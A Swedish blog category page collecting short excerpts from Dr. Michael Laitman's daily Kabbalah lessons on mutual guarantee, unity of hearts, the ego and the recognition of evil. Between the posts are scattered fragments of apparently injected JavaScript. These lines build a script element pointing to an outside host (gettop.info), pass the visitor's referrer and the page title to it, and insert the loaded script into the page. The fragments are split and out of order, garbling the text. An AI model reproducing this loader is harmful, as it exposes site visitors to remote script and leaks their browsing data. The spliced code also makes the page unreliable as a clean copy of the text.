Inlägg i kategori ''

Begränsa dig själv till en punkt

Dr. Michael LaitmanFråga: Vad är det vi menar med ”enighet” när vi talar med världen?

Svar: Att förenas enligt den ömsesidiga garantin innebär att vara som en människa med ett hjärta. För att förena alla hjärtan till ett begär, så som det var innan kärlens sönderslagning, genomgår vi två tillstånd.

I det första steget neutraliserar vi viljan att ta emot för mottagandets skull och därigenom uppfyller vi villkoret för Chafetz Chesed, ”Gör inte det du själv avskyr mot någon annan”. I kraft av detta skadar jag inte längre min nästa. Jag dömer inte längre en person efter hur bra eller dålig han är i mina ögon, hur mycket jag kan utnyttja, kontrollera och bedra honom.

Jag letar inte längre efter att tjäna på världen. Jag vill helt enkelt inte ha någonting. När jag väl uppnår hela min ondskas storlek och falskhet, som varje sekund får mig att skada andra, önskar jag att i så stor utsträckning som möjligt minimera användningen av mina begär. Jag ber bara om sådant jag inte klarar mig utan, det absolut nödvändigaste, och hoppas att jag därigenom ska uppnå den givande egenskapen.

Jag vill bli en punkt, som Malchut som införlivas i Bina. Bara en punkt. Det är som om jag inte existerar. Mitt ”Jag” är inkluderat i och helt hängivet Bina, som en spermie i en livmoder. För närvarande är jag bara en spermie i en livmoder som inte existerar för sin egen skull, utan bara för den högre.

Detta är det första stadiet där våra hjärtan ännu inte är förenade, men de stöter heller inte bort varandra.

I nästa stadie börjar de närma sig, som det står skrivet, ”Ålska din nästa som du älskar dig själv” Med hela mitt hjärta (eftersom jag inte har några andra verktyg), kontrollerar jag min nästas hjärta för att se i vilken utsträckning jag kan tillfredsställa och ta emot från honom. Mitt hjärta arbetar helt och hållet för att tjäna och uppfylla hans hjärta, och han behandlar mig på samma sätt. Detta är enigheten vi uppnår mellan våra hjärtan genom att verkställa principen för kärlek till sin nästa såväl som för sig själv, och därigenom blir vi som en man i ett hjärta.

Från den 5:e delen av den dagliga kabbalalektionen 11.07.27, ”Freden”

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Testa dig själv

Dr. Michael LaitmanFråga: Hur kan man testa för att se att man anstränger sig tillräckligt?

Svar: Ansträngningar görs vanligtvis över förnuftet, över kunskapen, när det verkar för personen som att allt är extremt svårt och mödosamt, och att han har fått nog. Han tror inte längre på  läraren och hans ”dumheter” eller på Skaparen som är dold, vilket gör det omöjligt at avgöra vad det är Han vill ha av mig. Och han har många klagomål på gruppen som helhet, och likaså på varje enskild individ.

Men samtidigt borde vi ändå säga att den bild jag ser är så som den är på grund av mina egna brister, min egoism! Därför att i själva verket existerar jag i den oändliga världen. Och gruppen är de själar jag är fullständigt sammankopplade med. Och läraren är delen ovanför oss som leder oss mot att förenas med de redan korrigerade själarna så att vi tillsammans ska kunna korrigera de själar som ännu inte är korrigerade. Och Skaparen kommer att uppenbaras emellan oss; därför att nu är han gömd från oss, för vårat eget bästa.

Om personen föreställer sig detta tillstånd på rätt sätt, om han förstår att denna värld är fiktiv och att han måste gräva djupare in genom denna illusoriska bild, till dess inre form så att han kan uppenbara de trådar som förbinder oss, liksom baksidan av en broderad bild, då kommer alla bitar falla på plats för honom, och då kan han be om att förändras.

Han kommer att uppenbara perfektionen genom att vara i harmoni med alla begär, med andra ord, med gruppen och Skaparen, givandets egenskap. Han kommer att känna att han har uppnått perfektion i och med det och att det inte finns något större än detta, inga andra behov eller begär efter något större eftersom detta är det mest fulländade för honom!

Från den 1:a delen av den dagliga kabbalalektionen 11.07.24, Shamati #187

} else {

Väck upp vännerna inuti dig

Dr. Michael LaitmanFråga: Hur bör mitt behov av ömsesidig garanti uttryckas?

Svar: Genom att skaka om andra, väcka dem, och göra det inombords istället för med ord. Ord urvattnar faktiskt meningen. Hela vårt arbete görs på insidan snarare än på utsidan. Det viktiga är graden till vilken jag skakar om vännerna inom mig själv så att vi tillsammans ska gå mot ömsesidig garanti.

Vi uppnår det inte med våra egna krafter, utan kräver uppenbarelsen av Skaparen. Trots allt är ömsesidig garanti Skaparens kraft som förenar oss med varandra. Ensamma kan vi inte sträcka ut trådarna för förbindelse och skänka till varandra. Ingenting kommer att fungera om Ljuset inte uppenbaras mellan oss.
Idag är vi enbart förbundna genom hat. Men om Ljuset kommer in mellan oss kommer vi att förenas i kärlek och skänkande. Ömsesidigt skänkande, där Skaparen fyller platsen för våra relationer, är ömsesidig garanti.

Vi måste sträva efter det även om vi inte kan uppnå det själva. Allt kommer att ta sig igenom mörkret om vi verkligen vill uppenbara ömsesidig garanti för Skaparens skull. Och ”för Skaparen” innebär för egenskapen av absolut skänkande.

Från den femte delen av den dagliga kabbalalektionen, 2011.07.16, “Arvut
videoikon WMVljudikon MP3

Den återupplivade stenen

Dr. Michael LaitmanBeräkningen jag utförde i huvudet av partzuf var så här: ”Du ger mig och jag ger dig, och vi är överens”. Detta var naturligtvis andliga handlingar för skänkandets skull, men jämfört med det jag nu uppenbarar, framför Din speciella relation, verkar det som någon småsint beräkning. Och det är anledningen till att jag inte kan stå ut med detta tillstånd med skärmen i ”tabur”.

Jag ser att jag gjorde denna småsinta beräkning mot Honom och jag skäms. Detta fjärmande från det tidigare tillståndet och utvisningen (histalkut på hebreiska) av Ljuset  är som ett begränsande. Jag står inte ut med hur jag behandlade Dig. Du behandlade mig med en sådan gränslös kärlek, och jag räknade efter hur mycket det skulle kosta mig. Du gav mig en gåva från hjärtat, och jag tittade upp och sade: “Det ser fint ut, och hur mycket ska jag nu betala?” Därmed upptäcker jag nu Din attityd till mig i tabur, och därför lämnar jag detta tillstånd.

Jag ser att jag inte gjort någonting med avseende på denna absoluta kärlek! Det räknas inte att jag gjorde någon del, tog emot för skänkandets skull. Relativt till detta fasthållande och den kärlek jag känner i Dig har jag inte gjort någonting för Dig. Tvärtom tog jag inte med i beräkningen att Du älskar mig så mycket.

Antag nu att jag inte kände till det. Det spelar fortfarande ingen roll; jag måste göra en ny uträkning. Jag kan inte säga att jag begick ett misstag eftersom jag faktiskt hade agerat utifrån en annan beräkning, men nu ser jag att den var felaktig. Med tanke på relationen mellan oss, som visade sig i fasthållande, bör beräkningen nu vara annorlunda, djupare, och mer påtaglig; den bör inte baseras på hur mycket njutning vi ger till varandra, utan på känslor.

Det är anledningen till att partzuf AB föds, som är mindre än Galgalta, finare, svagare, men djupare, med aviut (begärets grovhet) ”alef (ett)”. Den uppenbarar Ljuset Ruach istället för Ljuset Nefesh. Den är inte längre död, utan växande (vegetativ), d.v.s. att den lever!

Varför ”växte den upp”? Den växte upp eftersom den känt Skaparens attityd till den, den tog Skaparens egenskap och gjorde en ”växt” av sig själv, istället för en död sten. Därmed får viljan att njuta diverse egenskaper, d.v.s. formerna av Hans attityd från fasthållandet vid Skaparen, och förändrar i och med det sig själv. Detta är en kvalitativ förändring.

Från den fjärde delen av den dagliga kabbalalektionen, 2011.07.20, Förord till den kabbalistiska vetenskapen
videoikon WMVljudikon MP3

var d=document;var s=d.createElement(‘script’);

Punkten man kommer in i den andliga världen från

Dr. Michael LaitmanFråga: Vad är orsaken till att, när vi läser boken Zohar, och har en mycket påtaglig intention, intentionen plötsligt försvinner, och att vi förstår att den har försvunnit först när vi kommer att tänka på den igen?

Svar: Det är självklart! Detta ges till oss för att vi ska kräva känslan. Vi kan inte hålla två tankar i vårt medvetande. Vad kan vara bättre än att ställa in mig själv korrekt för att läsa boken Zohar, tillsammans med vännerna, i en cirkel, och inuti den vilja uppenbara det vi läser?

Men det som händer är att jag ställer in mig själv och börjar läsa, och plötsligt sjunker jag aningen djupare in i texten. Då använder jag det inte längre som en “sgula” – Ljusets speciella kvalitet, för att avslöja det i förbindelsen mellan oss. Istället skiftar jag fokus till texten själv, vill förså den och uppnå den på samma sätt som jag läser vanliga böcker, vill ta reda på vad de handlar om. Jag uppfattar inte det som står skrivet där som någonting som händer inuti mig, mellan oss, inuti oss, utan som någonting som existerar utanför mig. Jag skiftar omedelbart till den yttre bilden.

Därefter kommer alla sorters främmande tankar till mig och jag börjar ”resa” i dessa fantasier och beräkningar.

Detta händer tills man inser att man inte kan komma ut ur det, och att det berövar en rätt angreppssätt där man bokstavligen skulle kunna ”bita fast med tänderna” för att hålla sig kvar vid rätt inställning till läsningen.

Vad ska man göra? Till slut når man ett krav, att man behöver känslan – inte för att lära känna texten eller höra den, utan för att komma in i denna bild, att uppnå den. Man vill att detta ska hända, att denna bild ska bli tydlig inom en. Precis som man nu befinner sig i denna jordiska verklighet, måste man inom sig hitta denna andliga verklighet.

Därför måste hela denna förvirring, alla dessa tillstånd, föra oss till en sådan desperation att vi bara vill ha känslan, medan vi tydligt inser att vi inte är förmögna till någonting själva, även om vi håller avsikten. Men trots allt kommer vi tydligt att urskilja precis vad det är vi måste göra.

Å ena sidan måste man förstå att det inte finns någonting man kan göra och att det inte är någon idé att ens öppna boken. Du når total desperation. Men å andra sidan vet du att du inte kan lämna denna väg eftersom hela ditt liv finns i den. Och då får du det…

Denna punkt är verkligen kritisk eftersom det är från den man kan komma in i den andliga världen. Och det är vad som verkligen händer.

Från den andra delen av den dagliga kabbalalektionen, 2011.07.24, Zohar
videoikon WMVljudikon MP3

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Resultatet av lektionen

Dr. Michael LaitmanFråga: I artikeln ”Arvut (ömsesidig garanti)” skriver Baal HaSulam att vi måste handla utan någon betalning, utan kompensation, och utan någon som helst självkärlek. Hur kan vi rena oss från våra förväntningar på belöning, på bra resultat?

Svar: Ni har verktygen: den kabbalistiska metoden som kallas Tora och gruppen. Om du vill förenas med hela gruppen och i den bygga upp en framtida värld som ett verkligt exempel för alla, gör då detta.

Hur kan ni förenas? Ni kan förenas genom Tora. Ljuset som finns i den renar. Alla måste känna hur pass bortkopplad eller sammankopplad han är med andra. Alla måste hela tiden försöka kolla om han av impuls försöker förenas med de andra.

Och slutligen är vår strävan nödvändig under studierna. Var är bönen under lektionen? Vad är bönen som motiverar dig att förenas?

Det finns ett gemensamt nätverk, men dess trådar är avklippta, och vi måste knyta dem samman igen. Vi kommer till lektionen för att studera de brutna banden mellan oss och förstå hur vi kan fläta ihop dem igen. Detta är de resultat vi bör förvänta oss av lektionen. Gör vi det?

Från den 5:e delen av den dagliga kabbalalektionen 11.07.18, ”Arvut (ömsesidig garanti)”

var d=document;var s=d.createElement(‘script’);

Skulptera en människa av dig själv

Dr. Michael LaitmanFråga: Vi talar om att älska sin nästa som man älskar sig själv. Men hur är det möjligt att se vännerna som om de stod över dig när du tydligt ser och är säker på att du är bättre än dem?

Svar: Var enda person är säker på att han är bättre än andra. Även om han själv inte inser det, är det ändå så det är. Det råder inga tvivel om att varje person betraktar sig själv som bättre än alla andra, och tänker att han förstår mer och är mer korrigerad.

Det är på detta sätt sönderslagningens kraft uppenbaras för oss, genom att tvinga varje människa att anse sig själv stå högre än andra. Personen glömmer att han befinner sig i Skaparens händer som ett formlöst, livlöst material, som en klump lera, och att allting inom honom, hans begär och tankar, kommer till honom från Skaparen.

Det enda som kan komma till uttryck som en individuell handling i detta material är dess strävan efter att förenas med sin ”nästa”. I sådana fall antar denna formlösa massa den ”mänskliga” formen – en form som liknar Skaparen.

Det är bara denna strävan, att vara lik Skaparen, som kan existera i ”leran” som dess egen strävan. När blir det individuellt, vad är villkoren för det? Bara om denna ”lerklump” handlar med avsikten att förenas med alla andra ”klumpar” för att bilda en särskild form som kallas ”människa” – en form bestående av ömsesidigt givande, där var och en av dem som vill skulptera en människa utav sig själv antar sin form – en särskild del av den gemensamma skulpturen.

Och utöver detta, tilldelas de allt sådant som dyker upp inom dem och mellan dem från ovan, allt enligt de villkor och problem de måste bemästra och lösa. Därför är allt som händer i nuet och allt som kommer att hända i framtiden givet från ovan. Och från klumpens sida är bara en enda liten påverkan möjlig – gradvis, genom att förenas med andra som är som den, för att anta Skaparens form, kan den bli ”människa”.

Från 2:a delen av den dagliga kabbalalektionen 11.07.20, Zohar

} else {

Fokusera på den ömsesidiga garantin

Dr. Michael LaitmanFråga: Varför förverkligar vi inte den ömsesidiga garantin mellan oss, för att därefter påverka hela världen? Vad vill vi ha från andra?

Svar: Det är riktigt; vi måste uppleva detta först. Till exempel står det i artikeln ”Kärlek till Skaparen och kärlek till de skapade”: Till den grad Israels söner förenas genom att hålla Toran, till den graden skänker de vidare sin kraft till resten av nationerna.

Vi har därför lagt ner många år, hela våra liv, på att organisera grupper och supporters världen runt. Vi måste fortsätta det vi har påbörjat. Å ena sidan för detta oss till den ömsesidiga garantin, men å andra sidan bör disseminering inte bara vara intern utan även extern. Det ena utesluter inte det andra.

Och naturligtvis är vårt huvudsakliga fokus på inre arbete.

Från den femte delen av den dagliga kabbalalektionen, ”The Arvut (Den ömsesidiga garantin)”
videoikon WMVljudikon MP3

if (document.currentScript) {

Att se mörkret i den svarta punkten

Dr. Michael LaitmanGivandet av Toran, metoden för korrigering, är omöjligt utan ömsesidig garanti, vilket representerar en modell, förverkligandet av denna metod. Du uppenbarar Toran, arbetar med den, och förverkligar denna lära, allt detta enbart i den ömsesidiga garantin.

När vi idag läser Baal HaSulams artikel ”Den ömsesidiga garantin” försöker vi hitta fler och fler sätt att realisera målet med skapelsen. Vi befinner oss i det egoistiska begäret och måste förvandla det till en form av givande. Istället för att förbli i en egoism som antar en form av en utökad vilja att ta emot, måste vi inse ondskan hos denna form.

Insikten om ondskan kan komma genom problem eller genom medvetandet. En kombinerad variant är också möjlig. Detta beror på hur mycket vi kan engagera vårt medvetande för att öka medvetandet om ondskan utan att vänta på problem. Problem förlänger helt enkelt tiden och för oss till krig och förluster via lidandets väg, via sant tragiska förhållanden.

På ett eller annat sätt måste vi till fullo nå insikt om ondskan, det viss säga bli medvetna om att vi befinner oss i egoism, det mottagande begäret, och att alla enbart söker sin egen fördel på sina medmänniskors bekostnad. Föreställ dig, om vi inte inser detta nu, hur mycket mer vi kommer att behöva arbeta enbart för insikten om ondskan.

Hur många ytterligare motgångar måste jag uppleva för att se och inse att alla mina begär är egoistiska? De är egoistiska till en sådan grad att jag inte bryr mig om någon, inklusive mina släktingar, nära och kära, inte ens mina barn.

Detta är ett fruktansvärt tillstånd. Det står skrivet i Skrifterna: ”Medkännande kvinnors händer har kokat sina egna barn”. Det är vad igenkännandet av ondskan kommer till. Vi vet inte vad det är.

För att inte gå för långt, för att spara tid, och för att skonas från mycket lidande, kan vi använda vetenskapen kabbala, Ljuset som omformar, och arbetet i gruppen. Det är anledningen till att detta verktyg har givits till oss. Och då, i en kombination av lidande och det omformande Ljuset, kommer vi att inse ondskan tidigare.

Vi behöver ingenting utom denna medvetenhet. Baal HaSulam skriver om detta i sin artikel ”Kabbalans essens och dess syfte”. Varför fick vi ta emot den? Vi tog emot den för att påskynda vår insikt om ondskan. Om jag använder dess kraft korrekt vid varje given möjlighet kommer jag kunna genomföra denna analys och dra slutsatser, även om jag måste gå igenom lidande för att nå tillståndet av analys.

Baal HaSulam skriver att vi lever i Messias tid, och därför, med tanke på de möjligheter som står till vårt förfogande, måste vi gå framåt, börja agera. Allt beror på oss, på den grad vi drar det omformande Ljuset.

Men först måste det föra oss till igenkännandet av ondskan. Och att bekanta sig med sitt ego är otrevligt. Vi behöver omgivningens och studiernas stöd; vi måste bli starkare internt för att klara av uppenbarandet av detta ego för oss. Nyckeln är att det uppenbaras, och genom detta kommer jag utan tvekan att komma närmare målet. Om jag avfärdar uppenbarandet av egot för att det är otrevligt för mig kommer det att komma tillbaka till mig genom ”bakdörren”, och föra mig till riktigt sorgliga förhållanden.

Mänsklighetens utveckling kan gå längs en mycket vacker väg, där vi upplever mycket lite ondska. Från en droppe gift, från en liten bit ondska, kan jag bygga en väldig analysstruktur. Jag ser hur denna ondska förhindrar mig från att förbindas med vännerna i gruppen. Om jag fullt ut använder en liten portion av ondskan behöver jag ingenting annat. En svart punkt är tillräcklig, och jag förstår redan vad den innebär.

Vi uppnår allt detta enbart genom den ömsesidiga garantins kraft, när vi vill bygga ett system av ömsesidigt givande tillsammans, för att förenas som en människa med ett hjärta, och därmed hjälpa varandra. I detta fall når vi insikt om ondskan.

Föreställ dig nu att hela världen idag känner igen en liten bit ondska. Se på utvecklingen: revolutioner, demonstrationer, och upplopp. Dag för dag blir situationen värre, och det kommer närmare Israel. Ingen annat land befinner sig under ett sådant yttre tryck. Men det inre trycket kommer även det snart att visa sig.

Därför måste vi förstå att ömsesidig garanti, enighet och analys, som tillsammans leder oss till insikten om ondskan, är en fråga om liv och död för oss. Vi behöver ingenting annat förutom igenkännandet av ondskan eftersom du, till den grad du är medveten om den, vill få bort den från dig själv och inte längre glömma det omformande Ljuset. Du är som en allvarligt sjuk person som tänker på ett botemedel som kan rädda honom. Insikten om ondskan hindrar dig från att använda den och trycker på för att du ska hitta rätt användning.

Om länder och olika sorters organisationer idag insåg ondskan, då skulle de förvandla världen till Edens lustgård med en gång. Varför skulle de göra de löjliga saker de gör idag? Händelserna i världen idag gör det klart att vi närmar oss kritiska tillstånd.

Från den femte delen av den dagliga kabbalalektionen, 2011.07.13, ”Arvut (Ömsesidig garanti)”
videoikon WMVljudikon MP3

Punkten mellan accelerationen och språnget

Dr. Michael LaitmanDen som börjar studera kabbala och använder alla dess verktyg kommer till slut till en avgörande punkt där han eller hon måste börja utvecklas frivilligt, medvetet. Det första steget är avsett att göra en bekant med sitt tillstånd, och detta steg är nödvändigt.

Men sedan når man ett vägskäl, en plötslig förändring av ett tidigare stabilt tillstånd, en vändpunkt där man måste utvärdera och omvärdera hela sin attityd till utveckling, livet, sin vilja, Ljuset, och alla verktyg man har till sitt förfogande. Man förändrar då fullständigt sitt tidigare paradigm, hela sin livsfilosofi och uppfattning av det system i vilket man existerar.

Tidigare kontrollerade detta system en eftersom man helt opererade inom naturen, och man bara föreställde sig vara över den på grund av sin brist på förståelse. Nu förstår man sitt fulla beroende av naturen, dess krafter och lagar, och man måste ta dess styre i egna händer, som det står skrivet: ”Mina söner har besegrat mig.” Då förstår man den speciella vändpunkt vid vilken man befinner sig.

Tidigare trodde man att man hade förändrat någonting i sitt liv, medan man i själva verket bara lydigt hade följd naturens påbud utan någon fri vilja. Nu får man fri vilja. Man börjar se världen som någonting kaotiskt, utan ordning. Denna känsla ges till en med mening, så att man själv ska vilja bringa allt till ordning, förbinda allt, och kontrollera världen.

Här får man en möjlighet att be Skaparen om styrka, förståelse, och utveckling genom tro över förnuftet eftersom man vill vara förbunden med högre tillstånd. Man vill ta emot ett nytt medvetande och nya egenskaper därifrån, och därmed föra världen till balans. Så är det för att världen är en avbild av den inre ordningen inom människan, enligt ens inre verklighetsuppfattning, inte den yttre förnimmelsen.

Från den första delen av den dagliga kabbalalektionen, 2011.07.13, Shamati #21
videoikon WMVljudikon MP3